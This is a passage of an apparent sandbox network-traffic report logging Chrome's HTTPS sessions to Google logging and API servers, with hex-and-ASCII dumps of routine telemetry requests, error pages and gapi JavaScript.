2024-12-20 00:16:43 UTC	1120	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-
2024-12-20 00:16:43 UTC	435	IN	Data Raw: 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 3e 3c 73 70 61 6e Data Ascii: pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49784	142.250.181.110	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:16:42 UTC	981	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 4789 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://drive.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=IQ1gRLL0Gn9U37RvXj_iI6Mll7s84_GUu2Yg5JdhWJymhtoc9rJ0-kmYZSzA0qu97gQSIQsKvIV4u2hjHIxvGxuPT1fwADLb8rj1OBG-1UAtfBWmWx-21CSuYyz-U0DVbxXra4ern1xjCDeJBJmGSu7A5qldFIH9qjbZi24y30sJsuCxg-Vg3tABTfWbW3c
2024-12-20 00:16:42 UTC	4789	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 34 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 39 2c 5b 5b 22 31 37 33 34 36 35 33 38 30 30 30 34 33 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[4,0,0,0,0]]],189,[["1734653800043",null,null,null,
2024-12-20 00:16:43 UTC	496	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Fri, 20 Dec 2024 00:16:43 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-20 00:16:43 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-12-20 00:16:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49789	142.250.181.110	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:16:45 UTC	673	OUT	GET /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=SDgQc-ORScP8PqJyqKLTb8fHtbf_81MUwDTAeiaM5dWA4VIDj8QdiyFho1--ZJgUt_p7fMmZ1uPOlcRGiz2x4NKXhI7ppSc3mnz9fcwe6Sli5XSFjhTw7yxIzccH_9aTSpCI3-TrfCSjnG9jozhEZIHCgazyG_WKGyEhwOACXdAi4yC2iqS-8xuoLJmu4HY
2024-12-20 00:16:45 UTC	270	IN	HTTP/1.1 400 Bad Request Date: Fri, 20 Dec 2024 00:16:45 GMT Content-Type: text/html; charset=UTF-8 Server: Playlog Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-20 00:16:45 UTC	1120	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-
2024-12-20 00:16:45 UTC	435	IN	Data Raw: 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 3e 3c 73 70 61 6e Data Ascii: pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49795	142.250.181.46	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:16:46 UTC	1017	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.ZpMpph_5a4M.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo_c5__TAiALeuHoQOKG0BnSpdbJrQ/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=SDgQc-ORScP8PqJyqKLTb8fHtbf_81MUwDTAeiaM5dWA4VIDj8QdiyFho1--ZJgUt_p7fMmZ1uPOlcRGiz2x4NKXhI7ppSc3mnz9fcwe6Sli5XSFjhTw7yxIzccH_9aTSpCI3-TrfCSjnG9jozhEZIHCgazyG_WKGyEhwOACXdAi4yC2iqS-8xuoLJmu4HY
2024-12-20 00:16:47 UTC	915	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117446 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Thu, 19 Dec 2024 04:11:06 GMT Expires: Fri, 19 Dec 2025 04:11:06 GMT Cache-Control: public, max-age=31536000 Last-Modified: Mon, 02 Dec 2024 19:15:50 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 72340 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-20 00:16:47 UTC	475	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 5d 29 3b 0a 76 61 72 20 63 61 2c 64 61 2c 68 61 2c 6d 61 2c 78 61 2c 41 61 2c 42 61 3b 63 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([]);var ca,da,ha,ma,xa,Aa,Ba;ca=function(a){var
2024-12-20 00:16:47 UTC	1390	IN	Data Raw: 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 72 6e 20 63 7d 74 68 72 6f 77 20 45 72 72 6f 72 28 22 61 22 29 3b 7d 3b 5f Data Ascii: lue;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_
2024-12-20 00:16:47 UTC	1390	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 62 2e 70 72 6f 74 6f 74 79 70 65 3d 61 3b 72 65 74 75 72 6e 20 6e 65 77 20 62 7d 2c 71 61 3b 69 66 28 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 71 61 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3b 65 6c 73 65 7b 76 61 72 20 72 61 3b 61 3a 7b 76 61 72 20 73 61 3d 7b 61 3a 21 30 7d 2c 77 61 3d 7b 7d 3b 74 72 79 7b 77 61 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 73 61 3b 72 61 3d 77 61 2e 61 3b 62 72 65 61 6b 20 61 7d 63 61 74 63 68 28 61 29 7b 7d 72 61 3d 21 31 7d 71 61 3d 72 61 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 61 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 62 3b 69 66 28 61 Data Ascii: unction(a){var b=function(){};b.prototype=a;return new b},qa;if(typeof Object.setPrototypeOf=="function")qa=Object.setPrototypeOf;else{var ra;a:{var sa={a:!0},wa={};try{wa.__proto__=sa;ra=wa.a;break a}catch(a){}ra=!1}qa=ra?function(a,b){a.__proto__=b;if(a
2024-12-20 00:16:47 UTC	1390	IN	Data Raw: 66 6f 72 28 3b 74 68 69 73 2e 46 66 26 26 74 68 69 73 2e 46 66 2e 6c 65 6e 67 74 68 3b 29 7b 76 61 72 20 68 3d 74 68 69 73 2e 46 66 3b 74 68 69 73 2e 46 66 3d 5b 5d 3b 66 6f 72 28 76 61 72 20 6b 3d 30 3b 6b 3c 68 2e 6c 65 6e 67 74 68 3b 2b 2b 6b 29 7b 76 61 72 20 6c 3d 68 5b 6b 5d 3b 68 5b 6b 5d 3d 6e 75 6c 6c 3b 74 72 79 7b 6c 28 29 7d 63 61 74 63 68 28 6d 29 7b 74 68 69 73 2e 6d 71 28 6d 29 7d 7d 7d 74 68 69 73 2e 46 66 3d 6e 75 6c 6c 7d 3b 62 2e 70 72 6f 74 6f 74 79 70 65 2e 6d 71 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 7a 50 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 68 3b 0a 7d 29 7d 3b 76 61 72 20 65 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 45 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 Data Ascii: for(;this.Ff&&this.Ff.length;){var h=this.Ff;this.Ff=[];for(var k=0;k<h.length;++k){var l=h[k];h[k]=null;try{l()}catch(m){this.mq(m)}}}this.Ff=null};b.prototype.mq=function(h){this.zP(function(){throw h;})};var e=function(h){this.Ea=0;this.wf=void 0;this
2024-12-20 00:16:47 UTC	1390	IN	Data Raw: 28 22 75 6e 68 61 6e 64 6c 65 64 72 65 6a 65 63 74 69 6f 6e 22 2c 7b 63 61 6e 63 65 6c 61 62 6c 65 3a 21 30 7d 29 3a 74 79 70 65 6f 66 20 6b 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 68 3d 6e 65 77 20 6b 28 22 75 6e 68 61 6e 64 6c 65 64 72 65 6a 65 63 74 69 6f 6e 22 2c 7b 63 61 6e 63 65 6c 61 62 6c 65 3a 21 30 7d 29 3a 28 68 3d 5f 2e 6c 61 2e 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 28 22 43 75 73 74 6f 6d 45 76 65 6e 74 22 29 2c 68 2e 69 6e 69 74 43 75 73 74 6f 6d 45 76 65 6e 74 28 22 75 6e 68 61 6e 64 6c 65 64 72 65 6a 65 63 74 69 6f 6e 22 2c 21 31 2c 21 30 2c 68 29 29 3b 68 2e 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 Data Ascii: ("unhandledrejection",{cancelable:!0}):typeof k==="function"?h=new k("unhandledrejection",{cancelable:!0}):(h=_.la.document.createEvent("CustomEvent"),h.initCustomEvent("unhandledrejection",!1,!0,h));h.promise=this;h.reason=this.wf;return l(h)};e.prototyp
2024-12-20 00:16:47 UTC	1390	IN	Data Raw: 6f 6e 65 29 7d 29 7d 3b 72 65 74 75 72 6e 20 65 7d 29 3b 76 61 72 20 43 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 61 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 54 68 65 20 27 74 68 69 73 27 20 76 61 6c 75 65 20 66 6f 72 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 6e 75 6c 6c 20 6f 72 20 75 6e 64 65 66 69 6e 65 64 22 29 3b 69 66 28 62 20 69 6e 73 74 61 6e 63 65 6f 66 20 52 65 67 45 78 70 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 Data Ascii: one)})};return e});var Ca=function(a,b,c){if(a==null)throw new TypeError("The 'this' value for String.prototype."+c+" must not be null or undefined");if(b instanceof RegExp)throw new TypeError("First argument to String.prototype."+c+" must not be a regula
2024-12-20 00:16:47 UTC	1390	IN	Data Raw: 68 69 64 64 65 6e 5f 22 2b 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 3b 65 28 22 66 72 65 65 7a 65 22 29 3b 65 28 22 70 72 65 76 65 6e 74 45 78 74 65 6e 73 69 6f 6e 73 22 29 3b 65 28 22 73 65 61 6c 22 29 3b 76 61 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 46 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 79 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 Data Ascii: hidden_"+Math.random();e("freeze");e("preventExtensions");e("seal");var h=0,k=function(l){this.Fa=(h+=Math.random()+1).toString();if(l){l=_.ya(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Er
2024-12-20 00:16:47 UTC	1390	IN	Data Raw: 68 69 73 5b 31 5d 2e 53 6b 3d 6d 2e 5a 65 2c 74 68 69 73 2e 73 69 7a 65 2b 2b 29 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 64 65 6c 65 74 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 53 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 53 6b 3d 0a 6b 2e 5a 65 2e 53 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 Data Ascii: his[1].Sk=m.Ze,this.size++);return this};c.prototype.delete=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Sk.next=k.Ze.next,k.Ze.next.Sk=k.Ze.Sk,k.Ze.head=null,this.size--,!0):!1};c.prototy
2024-12-20 00:16:47 UTC	1390	IN	Data Raw: 74 69 6f 6e 28 29 7b 69 66 28 21 61 7c 7c 74 79 70 65 6f 66 20 61 21 3d 22 66 75 6e 63 74 69 6f 6e 22 7c 7c 21 61 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 79 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 Data Ascii: tion(){if(!a\|\|typeof a!="function"\|\|!a.prototype.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ya([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.ne
